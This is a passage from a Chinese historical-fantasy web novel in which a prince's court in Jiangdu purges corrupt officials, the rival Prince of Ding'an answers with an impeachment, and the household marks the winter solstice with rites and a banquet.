吴大掌柜以前跟着高大爷做事,也没少见识高家那些人的嘴脸,偏偏高大爷拗不够高太爷这个父亲,又顾忌着兄弟情分,一再退让。可高家那些人可不会认为你的退让是付出、是对他们的宽容和扶助, 他们只会认为你的退让是理所应当、合该如此。 他担心高大娘子心软,真应下此事。若是别的事情也就罢了,可这件事情万万不行。 这次的事情多大啊。高家被下狱的那些人是大王要治他们的罪,他们也确实是触犯大衍律例了。此次大王彻查贪污乱纪显然是动真格的,这是国之大事,怎么因私情而放水。东家好不容易入了王妃的眼,若是因为这事情前功尽弃不说,还很有可能会遭了王妃的厌弃。 正是听说了这次是高四爷来找东家说情,吴大掌柜才火急火燎地赶来劝阻。好在东家是清醒的,高家那些只想吸血的人不值得。 “褚氏都不能幸免,高家凭何脱身。”高大娘子不傻,彻查贪污乱纪是江都国之大事,岂容个人求情徇私。若是这么浅显的道理她都不懂,她也走不到今日了。 高大娘子请吴大掌柜放心,她不会心软的,并说道:“自不用去管他们,待过些日子他们自然就会消停下来。” 为什么会消停下来呢? 因为很快他们折腾来折腾去就会发现一点用都没有,除了无能狂怒之外再无半点办法,自然就会消停了。况且,求人办事是要花钱走关系、打通关节的。高家这次牵涉的事情这么大,只花一点钱就跟石沉大海一样,一点水花都溅不起来,那必然是要花很多很多钱的。 可钱大把大把地花出去了,却没有起一点效果,时间久了,高家内部必然会有人生起不满。高家毕竟是一个大家族,再怎么算,折进去的那些人终究只是少部分而已。花大笔的钱和精力去捞高四爷那些人,有极大的可能捞不出来不说,钱还得打水漂,即便是真的让他们最后侥幸能保得一条命活下来了,那又有多大的用处呢? 高四爷那些人此后必定绝了仕途,花费那么大的工夫和代价去捞那些注定已经废掉的人,有什么意义呢?高家内部因此生出的分歧和矛盾要不了多久就会显现出来,现在只是才刚开始,即便有人不满也只是藏着没有表露出来。可随着时间的推移,这样的不满只会越累越多,直至爆发。 那个时候,高家地人哪里还有空来烦她。 看吧,高家请她出手相助被拒时骂她果然是商人本色,自甘堕落染得一身铜臭味,对待血脉亲人还要斤斤计较,算这算哪。其实最会算的反而是他们那些人。 想着,高大娘子面上浮出讥讽之色。 “东家看得开,这日子总会越过越好。”吴大掌柜想得明白其中的关节,放下心来。既如此,那便不用再去管那些人了。没了麻烦事,他问起高大娘子的女儿,满脸慈爱,掏出一封包好的糖人,“过来时看见路边的糖人捏得极是传神生动,便买了一支过来。” “她在书房习字呢,知道她吴叔爷过来不知道怎么高兴呢。”高大娘子笑道,转头叫人将女儿带过来。 冬至之前江都搞出了这么大的一波阵仗,虽说是江都内部之事,可藩国之上还有朝廷,藩国之旁还有藩国,江都从来都不缺关注。事一出,江都隔壁的定安国几乎是第一时间就知晓了。褚之彦传信于定安王,告知褚氏因此大受折损,褚之邑的定襄将军之位都有坐不稳的趋势。江都王步步紧逼,褚氏身陷囹圄,以一己之身难以招架,请求定安王援手。 “蠢货,废物。”定安王看完信大怒,在书房之中怒骂不止,一把将信掼在地上。 书房之内还有人,但此刻谁也不敢在定安王盛怒之时出言相劝,唯有静默,等待着定安王将胸中怒火发泄出去,理智回归后再说。 定安王气过一阵了,但也被怒火烧得口干,渴饮一大杯茶水之后,目光扫视下方左右谋臣幕僚,问道:“诸位如何看待此事?” 褚氏乃定安王岳家,定安王妃已诞下一子一女,按理说褚氏此番求援,定安这边无论如何都不能坐视不管。可问题是,要怎么管,如何施以援手? 说来褚氏闹到如今这个局面也是自己不谨慎所致。明知江都王巡视边境来者不善,偏偏不知谨慎没有将手里不干净的东西清扫干净,最后叫江都王拿住了把柄发难。人家手头上的证据都是实打实的,况且这是江都内部之事,江都王因此发作褚氏谁也不能说半个“不”字。局面已然如此,这时候才传信来求援,定安王这边又能做什么? 毕竟说破了天定安王也只是江都王的兄弟,大家都是诸侯王,谁也不比谁高贵。定安王没有理由也不该插手去管兄弟诸侯国内的事务。就算定安王想管,那也得看江都王搭不搭理。 可真的完全不管也不行。褚氏毕竟是定安王的岳家,褚氏被江都王收拾了,定安王这个女婿面上也不好看。再者,这些年褚氏并非是没有贡献的。用完了就把人踹一边不管了,这多少有些过于无情无义了。虽说这是一方面,但其实大家心里都门清,如今的褚氏于定安王的大业来说已经发挥不了多大的用处了。 现下就是不知道定安王是如何想的。褚氏是他的岳家,这件事情要如何做还得他亲自开口发话才行。 “联系朝中交好的御史,叫他们因此事上疏弹劾江都王。”定安王头痛扶额,最终说道。 如此,底下谋臣幕僚便知晓定安王的态度了。 管还是要管一下的,总不能寒了褚氏的心。但也只是象征性地令御史弹劾,毕竟御史弹劾诸侯王是要有证据的,无凭无据的,且不说弹劾不成,御史也要遭到申饬,东宫那边甚至可以因此撤掉御史,令其贬谪出京或者直接去职归家。 其实这御史就相当于是定安王给褚氏的一个安慰。即使如此,那他们就得选一个相对鸡肋的御史出来。食之无味,真丢掉了也不会觉得有多可惜。 定安王这边做事的速度还是很快的,没过几日,湛京那边御史便上了弹劾江都王的奏疏,言江都王借查抄贪腐之事肆意扩大牢狱,罔顾律法,此为不仁不贤,请惩之。东宫这边早有准备,出列一条一条驳斥回去,有理有据,直将那御史驳得面红耳赤。最后的结果便是御史被贬官出京去一偏僻荒远之地做县令,这辈子也不知道还有没有机会回来。 这时候已经没有人在意那个前御史怎么样了。能站在朝堂之上的大臣们有几个不是人精,岂会没有听说近来江都闹出的动静,更知道这前御史弹劾之事算是定安王与东宫、江都王的一次博弈,而博弈的结果无疑是东宫这边再一次大获全胜,那前御史不过是这次定安王那边推出来的一个炮灰罢了。 前朝发生的事,后宫里也有所耳闻,尤其是这事还涉及到了两个已经就封的诸侯王。栎阳长公主百里澄到椒房殿中给皇后请安的时候顺带着也说了一嘴这事,“我看老三也是没有办法了,才使出了这么一招意思意思。” 可不就是意思意思么? 百里漾就封之后,随着手中王权的收紧,褚氏在江都的势力一日不比一日,这次又在贪墨风波里折损严重,失去了最重要的对永定大营的掌控权。今后褚氏在江都若是再不老实,五郎想怎么敲他们就怎么敲,褚氏连反抗的余地都不会有。 褚氏自然不会愿意自己陷入这样任人拿捏的境地,可他无力翻身,只能求助于定安王。定安王不能真的一点都不管,他管了,但管不了,这就是他的态度。 “当初这丈人可是他自己找的,如今却嫌弃起来了。”百里澄讽笑道。 可不就是嫌弃么?定安王估计觉得褚氏成事不足败事有余,如今什么助力都没有不说,还净惹出事情来让自己来摆平收尾。如今的定安王妃日渐不得宠爱,褚氏那边传来的都是不好的消息,久而久之,褚氏在定安王那里的地位也日渐尴尬起来。 皇后欣然道:“经此一事后,五郎在江都的地位算是彻底稳住了。” 褚氏这个被定安王安置在江都的绊脚石,终于能完全踢开了。 “此事固然值得高兴,但也要记得提醒五郎不可松懈,北面离渊仍虎视眈眈,眼下情形不明,更不可懈怠了。” “阿娘说的是,我会去信同五郎说的。”百里澄应下了,随后又笑道,“冬至快到了,想必从江都过来的贺冬礼不日后就要抵达,想来这事五郎会在家书中与您禀报的。” “时间过得也真是快,转眼间又是一年冬至了。”时光匆匆不等人,不经意间日子一日日地就过去了。远眺外面殿顶屋檐上的积雪,皇后不由感慨道,“算起来,五郎成亲也有四、五个月了。” “八月成的亲,满打满算还不足五月。”百里澄知道皇后心里惦念的是什么事情,也是无奈了,“五月的时间不算长,真有信了,五郎他们还能不告诉您么?” 那种一成亲就怀孕的总归是少数,这事急也急不来啊。 “我知道,只是这心里总是忍不住念着。”皇后叹道。 她生了三个儿女,如今孙辈仅有阿荧一个,有时候看到进宫请安的臣妇,想到人家膝下儿孙绕膝,难免会羡慕。况且,他们椒房一脉的子嗣确实是少了些,随着皇帝的其他儿子长大,这个短处无疑会更加明显,在那些朝臣眼中无疑会被越放越大。 百里澄也知道这确实是一个问题,她还改变不了那些人的想法并且自己还要受到那些人想法的制约,想想真是令人很不高兴呢。 “祖母,祖母,外面下雪了。”这时殿外忽然传来一个稚嫩的女童声,寻声望去,只见裹得圆滚滚的阿荧迈着小短腿艰难地跨过门槛,手里还捧着什么兴高采烈地过来要给祖母和姑姑分享。 皇后把跑过来的孙女揽进怀里,摸摸她有些冰冷的脸蛋和小手,心疼问道:“这么冷的天怎么跑过来了,冷不冷啊。”一面吩咐陶掌宫将手炉拿过来给阿荧暖手。 “不冷。”阿荧脆生生答道,把两只手往前伸,“祖母您看。” “什么呀?”皇后往那双白胖的手心里一看,什么也没有瞧见。 “雪花,是形状漂亮的雪花。我捉住了,送给祖母。”阿荧跟献宝似的打开双手,却只看到了空空如也的掌心,自己愣住了,手掌来回开合,里面依然还什么都没有。 阿荧只好说道:“化掉了,阿荧的掌心太热了,雪花化掉了。我再去捉一朵雪花来送给祖母,只要我跑得够快就一定没有问题的。” 外头正在下雪,皇后哪里舍得让阿荧这样再来回跑出一身汗来,到时感染了风寒就不好了。皇后赶忙拉住了阿荧,笑道:“阿荧的心意祖母已经收到了,祖母很高兴。正好祖母也有好几日没有见到阿荧,让祖母好好看看。” 皇后抱着孙女,刚说上两句话,便有宫人通传说太子妃到了。 阿荧自然不是一个人来的,太子妃不多时就入殿来请安。皇后免了她的礼,让她赶紧起身过来暖暖身子,又叫人奉一杯暖身驱寒茶过来给她。 百里澄也给嫂子太子妃梁氏问安。 “今日怎么过来了?”皇后问道。 近来湛京的天儿实在冷得厉害,处处白雪皑皑,皇后下令免了宫妃近段时日的请安,也令人递话给东宫叫太子妃也不必冒着风雪过来问安了。 “冬至将至,宫中有些庶务拿不定主意,儿媳便想请定夺。”太子妃低首说道。说是来请皇后拿主意,太子妃自己也拟出了几条方案来给皇后过目。 皇后看着太子妃低眉恭谨的姿态,不由在心里暗叹,面上无异,让陶掌宫接过来看了。阿荧好奇,凑这个脑袋钻在皇后的怀里也要看,偏也不知道能看懂几分。 皇后好笑,问她,“阿荧看懂了么?” “唔,阿荧正在看。”阿荧夹在皇后和本折之间,伸出小胖手指点指在上面,“炭敬、冬衣、奉银……还有酒,其他的就不知道了。” 按照皇家后嗣的培养规划,阿荧到了这个年纪已经习过很多字了,这本折上面的字她都认识,只是连在一起就不是很能明白其中的意思了。 “阿荧很好,读书认真,日后再跟着博士学习便能知晓了。”皇后摸了摸孙女圆润滑溜、白里透红的脸蛋,“好了,后厨炖了雪梨羹,让陶掌宫带你去吃。” 阿荧很乖,知道大人们应该是要说正事了。她从皇后怀里出来,像模像样地给祖母、母亲还有姑姑行礼告退。虽然动作间还稍显稚嫩,可是姿态礼仪却是不差的,只是因为小孩的身体做出来多少有些憨态可掬罢了。 “你如今做事已很有条理了,亦周到细致,今年冬至就按照上面拟的办吧。”皇后说道。 “是,谢母亲夸奖。”太子妃起身行礼,将本折拿了回来。 太子妃在椒房殿中只坐了半个时辰便告退离开了,牵着女儿阿荧的手向外走去,母女俩的身影慢慢隐没在重重的宫殿之间。 皇后这些年愈发有种“儿女都是债”的忧愁感,她生了三个,各有各的忧,算起来最让人省心的还是小儿子,偏偏小儿子又不在身边。但孩子都长大了,说多了他们也厌烦。 “你还有什么事么?”皇后看着赖在她这里蹭吃蹭喝的大女儿,不由问道。 百里澄:“……” 好突然,她不就是吃个糕点喝碗水的功夫就变得讨人嫌了。 百里澄只好默默将糕点就着雪梨水吃完,随后行礼告退,“女儿这便告退了,天寒阿娘注意保重身体,我改日再来看您。” 皇后看她这样又不忍心了,放软了声音说道:“冬至前后这段时间,内外皆有诸多事情要忙,你可别仗着自己年轻身子好做起事情来连时辰都不顾了,该休息还是要休息,回头若是累倒了可你有好受的。” 冬至是一年之中的大日子,届时皇帝不仅要率领百官宗亲祭天祭祖,还要举行大朝会,之后还会有宴请群臣等大事,为了筹办这些事情,外朝与内宫这段时日都极为忙碌。太子身为一国储副,责无旁贷,但太子的身体又摆在那里,处理不了过重的事务,许多事情还是要女儿代为操持。 可以说,东宫有一半是女儿撑起来的,这其中无疑要付出难以想象的努力与汗水。身为母亲,皇后又如何不心疼? “女儿省得,会顾惜自己身子的。”面对皇后的关心,百里澄自是都接受下来。她近段时间确实很忙碌,但她喜欢这种忙碌,因为这会给她带来一种权力在我手的满足感。她没有觉得这样有什么不好,只是阿娘说的有没有错,身体还是要顾惜的。 时间匆匆而过,眨眼便是冬至了。 冬至日,大雪初霁,一阳生。 这时候的人们认为冬至日乃是阴极之至,却也是阳气始生的时刻。于朝廷而言,皇帝率众祭天祭祖,行大朝会,大宴群臣;皇后亦要领内外诸命妇祭祀神明,之后亦要赐宴。平民百姓之家就要简单多了,家人团聚,一家人一道祭祖,到了夜间则一群人围坐在一起吃团圆饭,欢声笑语,暖意融融- 作者有话说:更新了,求评论。[可怜] 120-130 第121章 冬至日 冬至日, 于百里漾与颜漪来说注定是忙碌的一日。他们俩天不亮就得起来,洗漱穿衣,由宫侍婢女伺候着穿祭服冕服, 因为接下来的祭祀与廷议皆是极为隆重的仪式活动,不能有半点疏忽轻慢。 江都国为大衍诸侯国,一应规格礼制都要降一等或数等而行,祭祀也是如此。冬至日,皇帝率领宗室百官祭天、祭祀太庙, 举行大朝会, 诸侯王则是祭祀山川河流、祭祀祖庙, 举行廷议。王妃在诸侯王祭祀时需要从祭,随后亦带领臣妇祭祀神明, 祈求来年风调雨顺、五谷丰登。 为示庄重肃穆,祭服冕服乃至礼服皆厚重, 祭祀山川河流时需登坛,拾级而上, 礼仪繁琐, 每一步皆有规矩要求, 如此一整套流程走下来,即便是冬日严寒,浑身的衣物也累得被汗浸湿了。百里漾长年练武,身强体壮的,一套流程下来还能够坚持。他担心的是王妃,不知道她能不能坚持住。 祭祀山川河流时,百官跪伏,百里漾与颜漪携手同登坛。今日内天气晴好,无雨也无雪, 太阳初生,有风来,将二人的袍服吹动。二人皆目视前方,步伐沉稳,向着祭坛顶端行去。 这过程之中百里漾一直在观察颜漪的状态,听她的呼吸,是否急促不稳,适当地放缓步伐予她缓解、调整气息。颜漪体质算是好的,但头一次进行这样繁琐累人的仪式,时间长了难免出现力有不逮的情况来。可祭祀是大事,不容出现差错,唯有坚持。期间颜漪也察觉到了百里漾刻意放缓的步伐,这是在等她调整,不由朝百里漾投去感激的目光。 登坛后,礼官唱祭词。百里漾与颜漪焚香祷告,百官对二人行二跪六叩之礼。 山川河流祭祀毕,百里漾与颜漪等人则转至祖庙祭祀祖先。天子祭祖往太庙祭祀,诸侯王则往祖庙祭祖。祖庙设置在王宫之内,庙中供奉着百里氏的祖先,平日里有专人负责香火祭祀,遇大事或重要节日,诸侯王则亲往祭祀。 湛京之中的太庙,颜漪此前与百里漾行大婚之礼时已经去过了,江都王宫中的祖庙却来的不多,如此隆重的祭祀还是第一次。 祖庙与太庙一般供奉的都是百里氏的祖先神位,只是祖庙的规格比之太庙自然是小了许多的。祖庙之内需要供奉百里氏的神位并不算多,毕竟大衍建立至今不过二三十年,也就经历了两代皇帝,虽说百里氏自高皇帝立朝后按照天子九庙的标准往前追封了数位先祖为帝,需要祭祀的祖先神位的数量有所增加,但算起来也不算多。 这时候,一个家族的传承是否久远看家祠祖庙之中需要祭祀的神位数量是最直观的。传承久远的家族,家祠之中供奉的祖先神位足足数百,观之密密麻麻,令人震撼。那些世家大族之所以能以姓氏傲苍生,便是由来如此。 神位的数量直观反应的该家发家的时间长短。百里氏神台之上的神位不过数十,按数量来说其实算得上稀疏的,证明发家的时间确实很短。当然短了,认真算起来,百里氏也就从高皇帝的祖辈开始才勉强算是脱离了泥腿子的行列,真正开始发家挣下一点家业还是从高皇帝的父辈开始的,至高皇帝时,群雄逐鹿,问鼎中原,一跃成为了天底下最为尊贵的天家。 整个过程也不过短短数十年间。 对于那些世代公卿、满门高官的世家大族来说,百里氏自然不够看的。也因为这,即便百里氏已然成为天家之贵,实则暗地里还有不少世家大族鄙夷百里氏为暴发户的。但暴发户又如何,高皇帝就曾经说过,君臣名分摆在最前,那些世家大族心里看不起百里氏又如何,见了面照样得给他们姓百里的磕头行礼问安,不服的通通抓去砍了。 高皇帝这么说,行动上也是这么干的。当初大衍初立,许多东西都是草创阶段,需要逐步完善,构建起一个完整的框架来。这种专业的事情自然要交给专业的人去做,于是那些投靠了新朝的世家大族便有了用武之地。毕竟文人治国,武官安天下,那些世家大族数百年来做的都是这类治国的事情,干起来应该驾轻就熟了。 这本没有什么问题,但是高皇帝给那些世家大族的人干着干着就发现他们之中竟然有人想要忽悠他。当真是欺负他一介武夫不懂是吧,那些提出来的制度框架听着是冠冕堂皇的,实际上遵照的还是前朝的那一套,真还按照之前的那一套来,那这些世家大族总有一天就又要爬到百里氏的头上来了。 这高皇帝能忍?事实是他忍下了,叫来那些出身世家大族的官员,让他们改。那些人当面应得好好的,转过身去却阳奉阴违,换了个说辞或是重新套了个壳子就拿来糊弄高皇帝了。 高皇帝那时候都要气笑了,他还能不知道那些世家子心里边打的是什么主意?那些人表面上恭顺,背地里指不定怎么骂他莽夫、泥腿子。他才不惯着那些人,真当现在还是前朝啊,总得让他们认清楚,当今是百里氏的天下。也别说他没有给过机会,是那些眼睛长在头顶上的人不知道珍惜。 高皇帝出手那是十足的快准狠,他将当时牵扯进去的世家大族狠狠削了一顿,直削到他们老实为止,否则他们就不知道听话。当然,高皇帝削弱世族后续也因此产生了一系列连锁反应,也因此造成了不小的震荡。但没有人能说高皇帝做的是错的,即便是后来继位的皇帝承受了震荡的后果之后也依旧延续了之前的策略举措。 百里漾是如何知道这些事情的?亲身经历自然是不可能了,那时他甚至都没有出生。高皇帝在位执政的那些过往是通过皇嗣培养课业知晓的,有关高皇帝的所思所想则是皇帝有时候透过一些话语说出来的。 不管怎么说,削弱世族是大衍立朝以来两代皇帝的共识以及坚持的事业,他们在位期间未竟之事自然是希望后来继任者能够传承下去的。 这一点,看透之人不知道有多少?或许更多的是看透了的却拼命极力阻止的人。 在一片香火缭绕之中,百里漾注视着这些神位,一瞬间突然想到了很多,但他神情肃穆,旁人也看不出他在想些什么。只有他自己知道,他是在这过程之中看到了身着朝服的褚之彦等人才在这短时间内回忆联系了许多。 世族百年,树大根深,这根还当真是难刨啊。 眼下祭祖要紧,百里漾止住了思绪,专心完成眼前的事情。 祭祖结束之后,参与之人皆累的不行,但今日的议程仍未终结,后续还有廷议、祭神以及黄昏之后的赐宴事宜。趁着间隔的时间,百里漾与颜漪回到长乐殿更换衣服。初禾等宫侍已经将衣物服饰备好候二人更换,更有易克化的粥食糕点供二人食用。 “累了吧,我们先歇一阵,用些粥食,后面饿肚子可不好受。”暂时卸下了厚重的衣物服饰,洗了一个热水澡,浑身都轻松许多。殿中温暖,百里漾看着有些累到的颜漪不由关切道。 “好,大王也用些,行廷议也辛苦。”颜漪亦关心道。 想到之后的廷议与祭神两人得分开行动,而颜漪又是头一回带领江都的臣子女眷祭祀,百里漾担心她怯场,便趁着这点时间与她讲一些祭祀时需要注意的事项。 其实这些仪式皆有完整的流程,昨日负责的礼官已过来与颜漪说过了。她已全数记下了,更不会存在怯场的问题。可百里漾此时的“絮叨”是出于对她的关心,颜漪不会觉得他啰嗦,反而觉得他贴心,无论百里漾说什么她都应下。 其实吧,百里漾对于王妃领臣子女眷冬至祭祀这事并不是非常了解,只知道此事与每年皇后领内外诸命妇行亲蚕礼的性质差不多。时下讲究男耕女织,耕织之事乃一国之本、国之要务,皇后亲蚕以示为天下女子之表率。 冬至严寒,此时节自然不能行桑蚕之事。此行的祭祀主要是为了祭祀四季之神,祈求来年风调雨顺、收成盈仓。这是王妃的职责之事,百里漾之前没有王妃,江都也不曾举行需要王妃牵头之事。可如今江都已有王妃,这些事情就要操办起来了。 百里漾说来说去,最后肯定地总结道:“此事不难,一切依步骤来便是。王妃是聪慧能干之人,必然能顺利完成的。” 听他的话,颜漪不由笑出声来,很快便收敛了,正色道:“妾身必不辜负大王信任。” 百里漾也有点尴尬,自己叭叭说了一通,结果基本没有说在点子上,净让王妃听他啰嗦了。好在他也没有尴尬多久,时辰快到了,粥食也用了一些,重新换上冕服与王妃告别之后往承运殿去了。颜漪则是前往另一处已经架设好的祭祀之所。那里,江都之内有资格前来随王妃祭祀的臣子女眷已经就位等候了。 兴业十三年冬至日,皇帝坐朝,行大朝会,百官同贺。朝会毕,上赐时服、棉袄,并赐暖酒及火炭。诸侯国仿行其事,赏赐诸臣,给有司赐酒,后于宫中大宴群臣。 江都夜宴之中,江都王与王妃携手出现在宴会之上,座上之人皆起身恭迎。百里漾让众人不必拘束,今夜畅饮便是。诸人之中有人大声应是,当真开怀畅饮,而有些人则是…笑不出来,只能硬挤出一抹僵硬的笑容来谢恩。没办法,这些人家里不是有人已经被处斩了就是有人还在牢里蹲着,不是等流放就是等来年秋后处斩。这种情况之下,笑得出来才是见鬼了。 笑不出来还要硬笑不仅难看也很容易让人看出来。但这些人再如何凄凄惨惨、愁云惨淡也皆是自找的,无人会对他们、对他们在牢狱之中的亲故族人心生怜悯。他们无心饮宴,有的是人享受今日这场欢宴。 崔栋喝到兴起,喊了一群人要敬百里漾酒,一副不把他灌醉不罢休的架势。百里漾一开始哪里知道崔栋存着如此“险恶”的用心,来者不拒,酒是越喝越多,然后喝着喝着就觉得不对劲了,因为眼前敬酒的人来来去去的怎么跟没变似的。 百里漾佯怒,“好啊,你们胆子真是大,转着圈灌本王酒喝。” 余人见他发怒,难辨真假,一时畏惧踌躇不敢前。但崔栋是什么人?他与百里漾是一起穿着开裆裤长大的,百里漾是真怒还是假怒岂会分辨不出来。他不退反进,持酒上前,笑嘻嘻道:“今日难得的大好日子,我等钦慕大王,奈何皆是粗鲁之人,不知情何以表,唯有以一杯薄酒表之,大王若是推辞,我等回去皆以被掩面,垂泪涕泣,直至天明。” 百里漾:“……” 旁边其余人:“……” 你要不要听听你自己说的是什么鬼话?还“钦慕,不知情何以表”,百里漾若是不答应还要回家哭到天亮。简直不要太离谱了。 而且就崔栋这么一个每次考课之后都要被太傅请家长的学中之渣,何时能说出这么文绉绉的话来,怕不是为了灌百里漾才特意想出来这么一套酸了吧唧、恶心兮兮的话来。 百里漾一时之间确实被崔栋恶心到了,“去去去,你这酒里的钦慕之情我可承受不起,你现在就可以回家哭去了。” 百里漾作势要赶他走了,偏崔栋脸皮厚,非要百里漾最后再受他一次敬酒才肯走。百里漾笑骂了他两句,还是依言应了他这杯敬酒,就是身边他带来的这些人的敬酒也一并受了。如此下来,才将崔栋这群人给打发回坐席上。 人是终于打发走了,但百里漾付出的代价可不小。崔栋领着人转圈给他敬酒,少说也转了三圈了。今日赐宴上所用之酒虽算不上烈性,可喝多了总归是会醉的。百里漾现下已是面浮薄红,目光不甚清明了,处于半醉不醉的状态。 他向身旁的颜漪抱怨:“这厮回回寻了机会就要来灌我酒,自己来还不算,每回都要纠集一群人来,当真可恶。若不是念着今日大好日子,非得捶他一顿不可。” 颜漪又怎么听不出来百里漾看似是在骂崔栋,实则并无惩罚之意,但她也顺着百里漾的话抚慰他:“今日冬至确是大好节日,大王不与他计较。待至明日,大王再捶他一顿也不迟。” 王妃都支持他了,百里漾这时有点昏沉的脑袋里想着明日去把崔栋拎过来真捶也未尝不可。他怕自己记不住这事,真诚地拜托王妃为他记住此事,明日记得提醒他。 颜漪看得好笑,口上却是应了下来。 今夜的宫宴结束的时辰有些早,毕竟还要让参宴之人回家去与家人团圆。至于有些人回家之后可能凑不齐一桌人,那就是他们家自己的事情了。 散宴之后,众人各归其家。 夜未深沉,天空却已飘雪。官员大多坐轿,一来是携带女眷,二来可以免受风寒之苦。但并非是谁都乘轿的,雪下的不大,有部分人选择骑马。这些人一方面是因为穷,毕竟能买得起马已算是不易,他们又并非家底厚实之人。有部分人则是觉得雪中骑马,别有一番趣味。更有二者兼而有之的,傅殷便是其中之一。 宫门外众人进轿的进轿,骑马的骑马,但凡见到傅殷的人十个有八个都是向他问好或点头示意的。这般热情是以前从来没有过的,毕竟几个月前的傅殷还是一个初入官场不久的微末小官,有多少人会记得他,又有多少人会在意他。 可眼下不同了。自他随大王往边境立下大功后回来,紧接着又在刑狱司办下了几桩漂亮的案子,谁都知道他要青云直上了。果不其然,前段日子,也就是冬至日之前的几日,大王下了令拔擢于他,使他一连升了五级,如今在廷议之上也能站到前列了。 世人趋利避害、趋炎附势是常态,权力场中更是如此。以前你位卑言轻,自然默默无闻;可如今你年少居高位,前途无量,何人还敢再小瞧于你。此刻与你言笑晏晏,言语之中说不得还要带上几分小心谨慎。 傅殷变得如此受欢迎也不是这一日两日的事情了。他一开始面对那些曾经对他不假辞色的上官权贵们突然起来的热情的不适已经过去了,如今更是能应对自如了。在与这些人点头微笑告别之后,傅殷翻身上马,在飘雪的夜色之中朝着家的方向驶去。 “那人是谁啊,怎如此年轻?” 宫门口人多,看见傅殷的人不少,眼见这么多人都与他打招呼,一些女眷的好奇心就上来了。总有人是没有见过傅殷的,此时见自家丈夫/儿子皆与他示好,难免要多问几句。加上傅殷年纪确实轻,今夜孤身一人来参加赐宴,忍不住就有人动了心思。 “那就是我曾经提过的傅殷,他如今可是大王身边的新贵。这般年轻就列居高位,这段时日他可谓是春风得意了。”有人对着妻子无不感慨道。 同样一件事、同样一个人,不同的人去看待都会有不同的角度。对于傅殷,这帮长年在权力场里摸爬滚打的男人第一时间想的是傅殷背后的权力博弈,而女眷们想的则是要直白简单多了。 “可有婚配?性情如何,家中几口人?”这些人当即就被自己妻子/母亲问傻了,再看她们眼中神色与深意,顿时明悟过来,随即开始思索这件事情的可行性。 如何拉拢一个新贵,与之建立什么样的关系最为牢靠? 自然是姻亲关系,将自家可堪婚配的女儿嫁给他,让他成为自家的女婿,自然而然他们就成为一家人了- 作者有话说:更新了,求评论[奶茶] 第122章 冬至夜 冬夜飞雪, 飘若轻羽。街上少行人,但长街灯火未歇,似要为归人照亮回时之路。 傅殷身披斗篷, 骑乘快马,将将落地的新雪被一阵风带起,有些扑到了他的脸上,冰冰凉凉的,冲散了暖融的殿内蒸出的一身热气。沿路不只有风雪, 更有细碎不清的笑语声透过哪家门扉传出, 并着夜色中并不浓重的烟火气, 交织成了真实的人间。 冬至夜,这江都郡城之中万家灯火不歇, 每一盏都为一人而亮。现在的傅殷就是要奔赴那盏为自己而亮的灯火去了。归途一切顺利,唯有在经过一段路口时, 他所骑乘的马儿马蹄一拐,习惯性地要往右拐。 傅殷发现了马儿的意图, 赶紧牵引缰绳使他改变方向坐向而行。他轻拍马背, 不由发笑, 与这不通人语的马儿说话,“回来这么一段时间了,你还是没有习惯新家的方向,我有何尝不是如此。” 傅家搬家了。 早在随江都王前往边境巡视之前,傅殷就已经与中人商议好买下江都郡城中的一处二进的宅院,并遣人清扫、添置家具,待将老宅的一应物什收拾好,不出半月,他与傅母便可搬入新宅之中。只是计划赶不上变化, 江都王临时将他加入了随行的名单,王命不可违,在他在边境之时,傅母只好先自己搬入了新宅之中。 两月之后,傅殷回来了,只是因为边境之事牵连到了江都,他依旧被委以重任查纠贪墨之事,忙得几乎直接住在衙署了,以至于新宅都没有回过几次。造成的结果就是,他一直以来用作通行工具的马儿有点不认路了,习惯性地走回老宅的那条路。 最绝的那次,傅殷自己也不以为异,被马儿带着一路径行,直到看到老宅那禁闭的门扉与上面挂着的铁锁时,他才恍然,他已经搬家了。这里已经是老宅了。 傅殷记得当初购宅时,中人问他需不需要帮忙将老宅挂出去卖掉。按理说他应该是要答应的,毕竟搬去新宅之后,这座老宅也不会回来住了。可他那时看着那座堪称破旧简陋的屋子,想到的都是他从幼时成长至今的回忆。最后他终究还是不舍得,拒绝了中人的提议,只将老宅闲置,请人定期打扫。 回忆间,傅殷已行至新宅所在的巷口,不想早已有人等候。家中仆从见他身影出现,从门口奔直身前为他牵马,欢喜道:“郎君您回来了,老太太且等着您呢。” “天冷,我们赶紧进去。”傅殷看他冻得面上通红,也不知道在这里站了多久,催促他赶紧进门。等仆从要将马牵去马棚时,傅殷从袋子里掏出一封点心并着几个果脯,喊住他,“接着,拿回去吃。” 仆从忙接了,定睛看后,大喜,连忙道谢:“谢郎君赏。”今夜郎君赴王宫赐宴,归来时城中店铺早已歇业,何来的点心与果脯,只有是从宫宴之中拿回来的。 傅殷笑着摆手,转身大步往厅堂而去。傅母知道儿子回来,欢喜不已,拉着他坐到桌案上面,如往常般问他饥饿冷热,自己转身忙去将一碗冒着热气的饺子端上桌。 傅殷没有想到阿娘还给他留了这个,心中动容,似乎不管他走了多远,阿娘总会在家中等他归家。就如同这冬至日,即便他今夜去参加宫宴回来,阿娘也守着一碗饺子等着他。 …… 在长乐殿的廊道上,百里漾牵着颜漪慢慢地往回走。身后缀着的一长串宫侍,与他们隔着十步的距离,压低脚步,放轻声音,生怕打扰了前面之人雪夜漫步的雅兴。 宫宴散去,百里漾与颜漪本该回长乐殿的,但百里漾站在回廊下看着漆黑的夜空中漫天飘扬的雪花,忽然驻足不前,伸出左手接住了一片雪花。雪花与掌心接触的那一点肌肤当即传来一点冰冰凉凉的感觉,很快被充满了热度的掌心融化成水,只余下一点潮湿的触感。 “下雪了,今夜下雪了。”百里漾看着廊外说道。 他此时容色淡淡,瞧着是有些冷淡的,加上他江都王的身份,极容易有一种不怒自威的威严感,让人产生一种天威难测的畏惧,也就让人觉得难以接近、不敢接近。如今唯一能够接近他的人只有颜漪,甚至于她的手还被百里漾牢牢牵着,只不过他们交握的双手藏在宽大的衣袖下,不易被外人得见罢了。 “外头天寒,大王还是尽早回长乐殿去。”颜漪此刻看百里漾的目光带着些许无奈的。无他,因为百里漾此时事醉着的,只是天冷将他脸色的红晕盖了下去,若不仔细辨别他那一双略显迷离的眼眸,她也很难分辨他此时是醉是醒。 喝醉的人不能以常理度之,纵然是酒品极好的百里漾也是如此,唯有慢慢哄着来。 颜漪本是想将人早点带回温暖的殿内,若是在殿外待久了,风寒入体,染病了就不好了。可惜百里漾误解了她的意思,眼睛因为震惊和不解而瞪圆了些,“我回长乐殿,王妃不同我一起么?好好的怎么要回永延殿了?” 